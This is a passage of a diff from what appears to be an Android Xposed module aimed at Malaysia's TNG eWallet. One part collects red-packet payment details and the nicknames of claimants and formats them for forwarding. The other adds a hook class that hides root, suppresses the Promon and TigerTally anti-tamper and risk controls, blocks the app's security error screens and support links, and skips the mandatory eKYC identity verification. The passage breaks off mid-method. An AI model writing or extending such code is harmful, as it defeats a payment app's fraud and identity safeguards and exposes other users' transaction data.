putJsonValue(arr, elem, visited, depth + 1);
|
||||
}
|
||||
} else {
|
||||
int len = Array.getLength(val);
|
||||
for (int i = 0; i < len; i++) {
|
||||
putJsonValue(arr, Array.get(val, i), visited, depth + 1);
|
||||
}
|
||||
}
|
||||
out.put(fname, arr);
|
||||
} else if (val.getClass().getName().startsWith("my.com.tngdigital")
|
||||
|| val.getClass().getName().contains("Mmp")) {
|
||||
JSONObject child = objectToJson(val, visited, depth + 1);
|
||||
if (child != null) {
|
||||
out.put(fname, child);
|
||||
}
|
||||
} else if (isPrimitiveLikeViaGetter(obj, fname)) {
|
||||
out.put(fname, String.valueOf(val));
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return out.length() > 0 ? out : null;
|
||||
}
|
||||
|
||||
private static void putJsonValue(JSONArray arr, Object elem, Set<Integer> visited, int depth) {
|
||||
if (elem == null) {
|
||||
return;
|
||||
}
|
||||
if (isPrimitiveLike(elem)) {
|
||||
arr.put(String.valueOf(elem));
|
||||
return;
|
||||
}
|
||||
JSONObject child = objectToJson(elem, visited, depth);
|
||||
if (child != null) {
|
||||
arr.put(child);
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean isPrimitiveLike(Object val) {
|
||||
return val instanceof String
|
||||
|| val instanceof Number
|
||||
|| val instanceof Boolean
|
||||
|| val instanceof Character;
|
||||
}
|
||||
|
||||
private static boolean isPrimitiveLikeViaGetter(Object obj, String fieldName) {
|
||||
try {
|
||||
String suffix = fieldName.substring(0, 1).toUpperCase(Locale.US) + fieldName.substring(1);
|
||||
for (String prefix : new String[]{"get", "is"}) {
|
||||
try {
|
||||
Method m = obj.getClass().getMethod(prefix + suffix);
|
||||
Class<?> rt = m.getReturnType();
|
||||
return rt == String.class || Number.class.isAssignableFrom(rt)
|
||||
|| rt == boolean.class || rt == Boolean.class;
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static boolean remember(String key) {
|
||||
if (TextUtils.isEmpty(key)) {
|
||||
return false;
|
||||
}
|
||||
if (RECENT_SET.contains(key)) {
|
||||
return false;
|
||||
}
|
||||
RECENT_SET.add(key);
|
||||
RECENT_KEYS.addLast(key);
|
||||
while (RECENT_KEYS.size() > DEDUP_SIZE) {
|
||||
String old = RECENT_KEYS.removeFirst();
|
||||
RECENT_SET.remove(old);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
private static String firstNonEmpty(String... values) {
|
||||
if (values == null) {
|
||||
return null;
|
||||
}
|
||||
for (String v : values) {
|
||||
if (!TextUtils.isEmpty(v) && !"null".equalsIgnoreCase(v)) {
|
||||
return v;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static Context getContext() {
|
||||
try {
|
||||
Class<?> activityThread = XposedHelpers.findClass("android.app.ActivityThread", null);
|
||||
Object app = XposedHelpers.callStaticMethod(activityThread, "currentApplication");
|
||||
if (app instanceof Context) {
|
||||
return (Context) app;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static final class MmpSnapshot {
|
||||
String packetId;
|
||||
String groupId;
|
||||
String title;
|
||||
String senderName;
|
||||
String totalAmount;
|
||||
final List<ClaimLine> claims = new ArrayList<>();
|
||||
|
||||
String dedupKey() {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
sb.append(TextUtils.isEmpty(packetId) ? "?" : packetId).append('|');
|
||||
for (ClaimLine line : claims) {
|
||||
sb.append(line.nickname).append('=').append(line.amount).append(';');
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
String formatForForward(String channel, String sourceHint) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
sb.append("[MMP统计] ");
|
||||
if (!TextUtils.isEmpty(packetId)) {
|
||||
sb.append("packet=").append(packetId).append(' ');
|
||||
}
|
||||
if (!TextUtils.isEmpty(groupId)) {
|
||||
sb.append("group=").append(groupId).append(' ');
|
||||
}
|
||||
if (!TextUtils.isEmpty(senderName)) {
|
||||
sb.append("sender=").append(senderName).append(' ');
|
||||
}
|
||||
if (!TextUtils.isEmpty(totalAmount)) {
|
||||
sb.append("total=").append(totalAmount).append(' ');
|
||||
}
|
||||
sb.append("via=").append(channel);
|
||||
if (!TextUtils.isEmpty(sourceHint)) {
|
||||
sb.append(" src=").append(sourceHint.length() > 120
|
||||
? sourceHint.substring(0, 120) + "..." : sourceHint);
|
||||
}
|
||||
sb.append("\n");
|
||||
for (ClaimLine line : claims) {
|
||||
sb.append(line.nickname).append(" -> ").append(line.amount);
|
||||
if (!TextUtils.isEmpty(line.claimTime)) {
|
||||
sb.append(" (").append(line.claimTime).append(')');
|
||||
}
|
||||
sb.append('\n');
|
||||
}
|
||||
return sb.toString().trim();
|
||||
}
|
||||
}
|
||||
|
||||
private static final class ClaimLine {
|
||||
String nickname;
|
||||
String amount;
|
||||
String claimTime;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,2537 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import android.app.Activity;
|
||||
import android.app.Instrumentation;
|
||||
import android.content.Context;
|
||||
import android.content.Intent;
|
||||
import android.net.Uri;
|
||||
import android.app.Application;
|
||||
import android.app.Dialog;
|
||||
import android.app.ActivityManager;
|
||||
import android.os.Build;
|
||||
import android.os.Bundle;
|
||||
import android.os.Handler;
|
||||
import android.os.Looper;
|
||||
import android.os.Process;
|
||||
import android.view.Window;
|
||||
import android.view.WindowManager;
|
||||
|
||||
import android.os.Message;
|
||||
|
||||
import java.io.File;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.Collections;
|
||||
import java.util.Locale;
|
||||
import java.util.Set;
|
||||
import java.util.WeakHashMap;
|
||||
|
||||
import de.robv.android.xposed.XC_MethodHook;
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
import de.robv.android.xposed.XposedHelpers;
|
||||
import de.robv.android.xposed.callbacks.XC_LoadPackage;
|
||||
|
||||
/**
|
||||
* TNG eWallet Root / Promon / JailBroken 检测绕过。
|
||||
* 包名:my.com.tngdigital.ewallet(v1.9.9+)
|
||||
*/
|
||||
public final class TngRootBypassHook {
|
||||
|
||||
public static final String PACKAGE = "my.com.tngdigital.ewallet";
|
||||
private static final String TAG = "notiMessageHook/TngRoot";
|
||||
|
||||
/** Promon 混淆包名:1.9.10 为 vhvlnqgy,旧版为 xwwqazamx。 */
|
||||
private static final String[] PROMON_PKG_PREFIXES = {"vhvlnqgy", "xwwqazamx"};
|
||||
|
||||
private static final String SECURITY_ERROR_ACTIVITY =
|
||||
"my.com.tngdigital.common.security.ui.SecurityErrorActivity";
|
||||
|
||||
private static final String[] BLOCKED_SUPPORT_MARKERS = {
|
||||
"36616543382169-rooting",
|
||||
"36616508159769-emulator",
|
||||
"36616480108697-malicious",
|
||||
"36616444815257-multiboxing",
|
||||
"45485757513113-private-space",
|
||||
"48493749288857-malware",
|
||||
"/articles/",
|
||||
"support.tngdigital.com.my/hc/",
|
||||
};
|
||||
private static volatile long lastBlockedSuicideAt = 0L;
|
||||
private static final long SOFT_CRASH_GUARD_MS = 10000L;
|
||||
|
||||
private static final String[] REGISTRATION_FLOW_MARKERS = {
|
||||
"GuideActivity",
|
||||
"UserRegistrationMobileActivity",
|
||||
"UserOtpVerificationActivity",
|
||||
"UserRegistrationIdentityActivity",
|
||||
"UserRegistrationSixPinActivity",
|
||||
"UserRegistrationStrengthenPinActivity",
|
||||
"UserRegistrationSecurityQuestionActivity",
|
||||
"UserRegistrationSuccessActivity",
|
||||
"UserSearchCallingCodeActivity",
|
||||
"UserPinActivity",
|
||||
"UserSecurePinActivity",
|
||||
"UserPinVerifyActivity",
|
||||
"EmailOtpVerificationActivity",
|
||||
};
|
||||
|
||||
private static final String[] REGISTRATION_RPC_MARKERS = {
|
||||
"phonecheck", "com.abl.wallet.phone", "com.abl.wallet.otp",
|
||||
"customer.registration", "customer.verify", "customer.login",
|
||||
"login.options", "callingcode", "pin.token", "module.whitelist",
|
||||
"secauth",
|
||||
};
|
||||
|
||||
private TngRootBypassHook() {
|
||||
}
|
||||
|
||||
public static boolean isTargetPackage(String packageName) {
|
||||
return PACKAGE.equals(packageName);
|
||||
}
|
||||
|
||||
public static void install(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
if (!isTargetPackage(lpparam.packageName)) {
|
||||
return;
|
||||
}
|
||||
XposedBridge.log(TAG + " install for " + lpparam.packageName
|
||||
+ " pid=" + Process.myPid()
|
||||
+ " proc=" + getProcessName());
|
||||
|
||||
hookEarlyAttachLog(lpparam);
|
||||
hookConscryptStatsLogGuard();
|
||||
|
||||
// 登录优先:藏 root + 拦自杀 Java 链 + bl#a/b,不碰 native-bridge 探测短路。
|
||||
hookSplashForceLogin(lpparam);
|
||||
hookLoginDismissSplash(lpparam);
|
||||
// 点区号会走 onCountryClick → i7.l loading;真 show → HWUI setName/gralloc abort
|
||||
hookLoadingDialogSkip();
|
||||
// setName 一律 noop(A16+Zygisk 下 native setName→dlopen libandroid 易 ART abort)。
|
||||
// 区号 Compose 必须 HW:软件绘制会 IllegalArgumentException(hardware bitmaps)。
|
||||
hookHardwareRendererSetNameNoop();
|
||||
hookCallingCodeAllowHwSurface(lpparam);
|
||||
|
||||
RootBypassHelper.hookFileExists(lpparam);
|
||||
RootBypassHelper.hookRuntimeExec(lpparam);
|
||||
RootBypassHelper.hookSystemGetProperty(lpparam);
|
||||
ProcMapsFilterHook.install(lpparam);
|
||||
|
||||
hookAntiSuicide();
|
||||
hookPromonSuicideUpstream(lpparam);
|
||||
hookUncaughtPromonException(lpparam);
|
||||
hookKillApplicationHandler(lpparam);
|
||||
hookBlockSecurityErrorLaunch(lpparam);
|
||||
hookPromonNativeGuard(lpparam);
|
||||
hookPromonLifecycle(lpparam);
|
||||
hookActivityThreadExit(lpparam);
|
||||
hookFinishAllActivityAndKillApp(lpparam);
|
||||
hookSecurityUrlOpeners(lpparam);
|
||||
hookJailBroken(lpparam);
|
||||
hookJailBrokenRpc(lpparam);
|
||||
hookAppSecurityManager(lpparam);
|
||||
hookAppSecurityCallbacks(lpparam);
|
||||
hookSecurityErrorActivity(lpparam);
|
||||
// 首页强制 eKYC「验证您的帐户」— 测试期直接跳过
|
||||
hookHomeEkycVerifySkip(lpparam);
|
||||
// seccomp 开着时必须 stub TigerTally init,否则 fork getprop 永不退出 → App.onCreate ANR
|
||||
hookTigerTally(lpparam);
|
||||
hookTigerTallyAppWrappers(lpparam);
|
||||
XposedBridge.log(TAG + " login-first hooks armed");
|
||||
}
|
||||
|
||||
/** 进程启动最早打点,便于确认 LSPosed 是否注入(注册闪退常因 hook 未生效)。 */
|
||||
private static void hookEarlyAttachLog(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(Application.class, "attachBaseContext", Context.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Context ctx = (Context) param.args[0];
|
||||
if (ctx != null && PACKAGE.equals(ctx.getPackageName())) {
|
||||
XposedBridge.log(TAG + " attachBaseContext pid="
|
||||
+ Process.myPid());
|
||||
}
|
||||
}
|
||||
});
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " early attach log failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** Splash 卡住救援;新 schedule 会取消旧 Runnable。 */
|
||||
private static final Handler FORCE_LOGIN_HANDLER = new Handler(Looper.getMainLooper());
|
||||
private static Runnable pendingForceLoginRunnable;
|
||||
/** Splash 已离开(进 PIN/首页等)则取消救援。 */
|
||||
private static volatile boolean splashNavigationDone = false;
|
||||
|
||||
/**
|
||||
* 仅当 Splash 超时仍停在自身时才救援,避免已登录冷启动被强拉回 UserLogin。
|
||||
* 有本地会话痕迹 → 优先 UserPin;否则 → UserLogin。
|
||||
*/
|
||||
private static void scheduleSplashStuckRescue(
|
||||
final Context appCtx, final Activity splashAct, final String reason, final long delayMs) {
|
||||
if (appCtx == null) {
|
||||
return;
|
||||
}
|
||||
splashNavigationDone = false;
|
||||
if (pendingForceLoginRunnable != null) {
|
||||
FORCE_LOGIN_HANDLER.removeCallbacks(pendingForceLoginRunnable);
|
||||
}
|
||||
pendingForceLoginRunnable = new Runnable() {
|
||||
@Override
|
||||
public void run() {
|
||||
pendingForceLoginRunnable = null;
|
||||
try {
|
||||
if (splashNavigationDone) {
|
||||
XposedBridge.log(TAG + " skip splash rescue (" + reason + ", already left)");
|
||||
return;
|
||||
}
|
||||
if (isTopActivityRegistrationFlow(appCtx)) {
|
||||
XposedBridge.log(TAG + " skip splash rescue (" + reason + ", registration flow)");
|
||||
return;
|
||||
}
|
||||
String top = getTopActivityClassName(appCtx);
|
||||
if (top != null && !isSplashActivityName(top)) {
|
||||
XposedBridge.log(TAG + " skip splash rescue (" + reason + ", on " + top + ")");
|
||||
splashNavigationDone = true;
|
||||
return;
|
||||
}
|
||||
if (!isUiVisibleForForceLogin(appCtx)) {
|
||||
XposedBridge.log(TAG + " skip splash rescue (" + reason + ", no visible UI / BAL)");
|
||||
return;
|
||||
}
|
||||
boolean hasSession = hasLocalLoginSession(appCtx);
|
||||
String target = hasSession
|
||||
? "my.com.tngdigital.user.view.UserPinActivity"
|
||||
: "my.com.tngdigital.user.view.UserLoginActivity";
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName(PACKAGE, target);
|
||||
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP
|
||||
| Intent.FLAG_ACTIVITY_SINGLE_TOP);
|
||||
if (splashAct != null && !splashAct.isFinishing()) {
|
||||
splashAct.startActivity(intent);
|
||||
try {
|
||||
splashAct.finish();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
XposedBridge.log(TAG + " splash stuck → " + shortActivityName(target)
|
||||
+ " (" + reason + ", session=" + hasSession + ", from Splash)");
|
||||
} else {
|
||||
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
|
||||
appCtx.startActivity(intent);
|
||||
XposedBridge.log(TAG + " splash stuck → " + shortActivityName(target)
|
||||
+ " (" + reason + ", session=" + hasSession + ", from AppCtx)");
|
||||
}
|
||||
splashNavigationDone = true;
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " splash rescue failed (" + reason + "): " + t.getMessage());
|
||||
}
|
||||
}
|
||||
};
|
||||
FORCE_LOGIN_HANDLER.postDelayed(pendingForceLoginRunnable, delayMs);
|
||||
}
|
||||
|
||||
private static String shortActivityName(String className) {
|
||||
if (className == null) {
|
||||
return "?";
|
||||
}
|
||||
int dot = className.lastIndexOf('.');
|
||||
return dot >= 0 ? className.substring(dot + 1) : className;
|
||||
}
|
||||
|
||||
private static boolean isSplashActivityName(String className) {
|
||||
return className != null
|
||||
&& (className.endsWith(".SplashActivity") || className.contains(".SplashActivity"));
|
||||
}
|
||||
|
||||
private static String getTopActivityClassName(Context ctx) {
|
||||
try {
|
||||
ActivityManager am = (ActivityManager) ctx.getSystemService(Context.ACTIVITY_SERVICE);
|
||||
if (am == null) {
|
||||
return null;
|
||||
}
|
||||
for (ActivityManager.AppTask task : am.getAppTasks()) {
|
||||
ActivityManager.RecentTaskInfo info = task.getTaskInfo();
|
||||
if (info == null || info.topActivity == null) {
|
||||
continue;
|
||||
}
|
||||
if (PACKAGE.equals(info.topActivity.getPackageName())) {
|
||||
return info.topActivity.getClassName();
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* 粗判本地是否已有登录痕迹(有则冷启动应走 PIN,而不是登录页)。
|
||||
* SharedPreferences 文件名/键含 session、token、user、pin、login 等即视为已登录。
|
||||
*/
|
||||
private static boolean hasLocalLoginSession(Context ctx) {
|
||||
try {
|
||||
File prefsDir = new File(ctx.getApplicationInfo().dataDir, "shared_prefs");
|
||||
if (!prefsDir.isDirectory()) {
|
||||
return false;
|
||||
}
|
||||
File[] files = prefsDir.listFiles();
|
||||
if (files == null) {
|
||||
return false;
|
||||
}
|
||||
for (File f : files) {
|
||||
String name = f.getName().toLowerCase(Locale.US);
|
||||
if (!name.endsWith(".xml")) {
|
||||
continue;
|
||||
}
|
||||
if (name.contains("session") || name.contains("token") || name.contains("user")
|
||||
|| name.contains("login") || name.contains("account")
|
||||
|| name.contains("auth") || name.contains("pin")
|
||||
|| name.contains("credential") || name.contains("wallet")) {
|
||||
if (f.length() > 64) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
// 扫键名:任意 prefs 里出现登录相关 key
|
||||
if (prefsXmlLooksLikeLoggedIn(f)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " hasLocalLoginSession failed: " + t.getMessage());
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static boolean prefsXmlLooksLikeLoggedIn(File xmlFile) {
|
||||
java.io.BufferedReader reader = null;
|
||||
try {
|
||||
reader = new java.io.BufferedReader(new java.io.FileReader(xmlFile));
|
||||
String line;
|
||||
int lines = 0;
|
||||
while ((line = reader.readLine()) != null && lines < 200) {
|
||||
lines++;
|
||||
String lower = line.toLowerCase(Locale.US);
|
||||
if ((lower.contains("name=\"") || lower.contains("name='"))
|
||||
&& (lower.contains("token") || lower.contains("session")
|
||||
|| lower.contains("userid") || lower.contains("user_id")
|
||||
|| lower.contains("loginid") || lower.contains("mobile")
|
||||
|| lower.contains("phonenumber") || lower.contains("islogin")
|
||||
|| lower.contains("logged") || lower.contains("access_token"))) {
|
||||
// 排除空值
|
||||
if (lower.contains(">true<") || lower.contains("value=\"true\"")
|
||||
|| (lower.contains("value=\"") && !lower.contains("value=\"\"")
|
||||
&& !lower.contains("value=\"0\"") && !lower.contains("value=\"false\""))
|
||||
|| (lower.contains(">") && lower.contains("</string>")
|
||||
&& !lower.contains("><"))) {
|
||||
return true;
|
||||
}
|
||||
if (lower.contains("<string") && lower.contains("</string>")) {
|
||||
int a = lower.indexOf('>');
|
||||
int b = lower.lastIndexOf("</string>");
|
||||
if (a >= 0 && b > a + 1 && (b - a) > 8) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
if (lower.contains("<boolean") && lower.contains("value=\"true\"")) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
} finally {
|
||||
if (reader != null) {
|
||||
try {
|
||||
reader.close();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/** 后台 Service 重启(如 Firebase SessionLifecycle)无可见 Activity,强拉会被 BAL 拦截。 */
|
||||
private static boolean isUiVisibleForForceLogin(Context ctx) {
|
||||
ActivityManager.RunningAppProcessInfo state = new ActivityManager.RunningAppProcessInfo();
|
||||
ActivityManager.getMyMemoryState(state);
|
||||
if (state.importance > ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE) {
|
||||
return false;
|
||||
}
|
||||
try {
|
||||
ActivityManager am = (ActivityManager) ctx.getSystemService(Context.ACTIVITY_SERVICE);
|
||||
if (am != null) {
|
||||
for (ActivityManager.AppTask task : am.getAppTasks()) {
|
||||
ActivityManager.RecentTaskInfo info = task.getTaskInfo();
|
||||
if (info != null && info.topActivity != null
|
||||
&& PACKAGE.equals(info.topActivity.getPackageName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return state.importance <= ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND;
|
||||
}
|
||||
|
||||
/**
|
||||
* Zygisk/命名空间下 android.util.StatsLog native 常 UnsatisfiedLinkError,
|
||||
* Conscrypt TLS 指标线程一写就炸 → ART fatal。直接 noop 指标写入。
|
||||
*/
|
||||
private static void hookConscryptStatsLogGuard() {
|
||||
int hooked = 0;
|
||||
for (String className : new String[]{
|
||||
"com.android.org.conscrypt.metrics.StatsLogImpl",
|
||||
"com.android.org.conscrypt.metrics.ConscryptStatsLog",
|
||||
"com.google.android.gms.org.conscrypt.metrics.StatsLogImpl",
|
||||
}) {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(className);
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
String n = method.getName();
|
||||
if (!n.startsWith("write")
|
||||
&& !n.startsWith("report")
|
||||
&& !n.startsWith("count")
|
||||
&& !"startWriterThread".equals(n)) {
|
||||
continue;
|
||||
}
|
||||
hookMethodNoopSilent(method);
|
||||
hooked++;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
try {
|
||||
Class<?> statsLog = Class.forName("android.util.StatsLog");
|
||||
for (Method method : statsLog.getDeclaredMethods()) {
|
||||
String n = method.getName();
|
||||
if ("loadNativeLibrary".equals(n) || n.startsWith("write")) {
|
||||
hookMethodNoopSilent(method);
|
||||
hooked++;
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
XposedBridge.log(TAG + " conscrypt/StatsLog guard hooked n=" + hooked);
|
||||
}
|
||||
|
||||
/**
|
||||
* 区号 Compose Activity 生命周期标记。
|
||||
* 必须在 execStart/onCreate 前设为 true,供 enableHardwareAcceleration 放行。
|
||||
*/
|
||||
private static volatile boolean callingCodeSurfaceActive = false;
|
||||
|
||||
private static boolean isCaptchaDialog(String owner) {
|
||||
return owner != null
|
||||
&& (owner.contains("CaptchaWebViewDialog") || owner.contains("com.aliyun.captcha"));
|
||||
}
|
||||
|
||||
private static boolean isLoadingDialog(String owner) {
|
||||
return owner != null
|
||||
&& (owner.contains("i7.") || owner.contains("Loading") || owner.contains("Progress"));
|
||||
}
|
||||
|
||||
private static boolean isCallingCodeActivity(String className) {
|
||||
return className != null && className.contains("UserSearchCallingCodeActivity");
|
||||
}
|
||||
|
||||
private static boolean isCallingCodeIntent(Intent intent) {
|
||||
if (intent == null) {
|
||||
return false;
|
||||
}
|
||||
if (intent.getComponent() != null) {
|
||||
String cn = intent.getComponent().getClassName();
|
||||
if (isCallingCodeActivity(cn)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
String action = intent.getAction();
|
||||
return action != null && action.contains("CallingCode");
|
||||
}
|
||||
|
||||
private static String shortStack(int maxFrames) {
|
||||
StackTraceElement[] stack = Thread.currentThread().getStackTrace();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
int n = 0;
|
||||
for (StackTraceElement el : stack) {
|
||||
String cn = el.getClassName();
|
||||
if (cn.startsWith("java.") || cn.startsWith("dalvik.")
|
||||
|| cn.startsWith("android.os.") || cn.startsWith("de.robv.android.xposed")
|
||||
|| cn.contains("TngRootBypassHook") || cn.contains("LSPosed")
|
||||
|| cn.contains("XposedBridge")) {
|
||||
continue;
|
||||
}
|
||||
if (n > 0) {
|
||||
sb.append(" <- ");
|
||||
}
|
||||
sb.append(el.getClassName()).append("#").append(el.getMethodName())
|
||||
.append(":").append(el.getLineNumber());
|
||||
if (++n >= maxFrames) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return sb.length() == 0 ? "(empty)" : sb.toString();
|
||||
}
|
||||
|
||||
/** 已 skip show 的 loading Dialog,让 isShowing=true 避免业务层卡死。 */
|
||||
private static final Set<Dialog> skippedLoadingDialogs =
|
||||
Collections.newSetFromMap(new WeakHashMap<>());
|
||||
|
||||
/**
|
||||
* i7.l 等 loading:一律 skip show + 伪装 isShowing。
|
||||
* Captcha 弹窗清 HW flag,避免 Android 16 gralloc abort。
|
||||
*/
|
||||
private static void hookLoadingDialogSkip() {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(Dialog.class, "show", new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
Dialog dialog = (Dialog) param.thisObject;
|
||||
String owner = dialog.getClass().getName();
|
||||
if (isLoadingDialog(owner)) {
|
||||
skippedLoadingDialogs.add(dialog);
|
||||
XposedBridge.log(TAG + " Dialog.show skip loading " + owner
|
||||
+ " callingCode=" + callingCodeSurfaceActive);
|
||||
param.setResult(null);
|
||||
return;
|
||||
}
|
||||
if (isCaptchaDialog(owner)) {
|
||||
try {
|
||||
Window cw = dialog.getWindow();
|
||||
if (cw != null) {
|
||||
cw.clearFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
XposedBridge.log(TAG + " Dialog.show captcha software " + owner);
|
||||
}
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " hooked Dialog.show (skip loading only)");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " Dialog.show hook failed: " + t.getMessage());
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(Dialog.class, "isShowing", new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
if (skippedLoadingDialogs.contains(param.thisObject)) {
|
||||
param.setResult(true);
|
||||
}
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " hooked Dialog.isShowing (skipped loading)");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " Dialog.isShowing hook failed: " + t.getMessage());
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(Dialog.class, "dismiss", new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
String owner = param.thisObject.getClass().getName();
|
||||
if (isLoadingDialog(owner)) {
|
||||
skippedLoadingDialogs.remove(param.thisObject);
|
||||
}
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " hooked Dialog.dismiss (loading cleanup)");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " Dialog.dismiss hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 一律跳过 HardwareRenderer.setName。
|
||||
* Pixel/A16 + Zygisk 命名空间下 native setName → dlopen("libandroid.so") 失败会 ART abort。
|
||||
*/
|
||||
private static void hookHardwareRendererSetNameNoop() {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"android.graphics.HardwareRenderer", null, "setName", String.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
param.setResult(null);
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " hooked HardwareRenderer.setName (always noop)");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " HardwareRenderer.setName noop failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 区号 Compose:标记 surface + 保证 HW flag(勿清、勿拦 enableHW)。
|
||||
* 软件绘制会崩:Software rendering doesn't support hardware bitmaps。
|
||||
*/
|
||||
private static void hookCallingCodeAllowHwSurface(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
XC_MethodHook markOn = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
Intent intent = extractIntent(param.args);
|
||||
if (isCallingCodeIntent(intent)) {
|
||||
callingCodeSurfaceActive = true;
|
||||
XposedBridge.log(TAG + " callingCode surface ON (HW path)");
|
||||
}
|
||||
}
|
||||
};
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Activity.class, "startActivity", Intent.class, markOn);
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Activity.class, "startActivity", Intent.class, Bundle.class, markOn);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " startActivity callingCode mark failed: " + t.getMessage());
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Instrumentation.class,
|
||||
"execStartActivity",
|
||||
Context.class,
|
||||
android.os.IBinder.class,
|
||||
android.os.IBinder.class,
|
||||
Activity.class,
|
||||
Intent.class,
|
||||
int.class,
|
||||
Bundle.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
Intent intent = (Intent) param.args[4];
|
||||
if (isCallingCodeIntent(intent)) {
|
||||
callingCodeSurfaceActive = true;
|
||||
XposedBridge.log(TAG
|
||||
+ " callingCode surface ON (execStart HW)");
|
||||
}
|
||||
}
|
||||
});
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " execStart callingCode mark failed: " + t.getMessage());
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Instrumentation.class,
|
||||
"callActivityOnCreate",
|
||||
Activity.class,
|
||||
Bundle.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
Activity activity = (Activity) param.args[0];
|
||||
if (activity == null) {
|
||||
return;
|
||||
}
|
||||
if (isCallingCodeActivity(activity.getClass().getName())) {
|
||||
callingCodeSurfaceActive = true;
|
||||
try {
|
||||
Window window = activity.getWindow();
|
||||
if (window != null) {
|
||||
window.addFlags(
|
||||
WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
XposedBridge.log(TAG
|
||||
+ " callingCode onCreate — keep HW for Compose");
|
||||
}
|
||||
}
|
||||
});
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Instrumentation.class,
|
||||
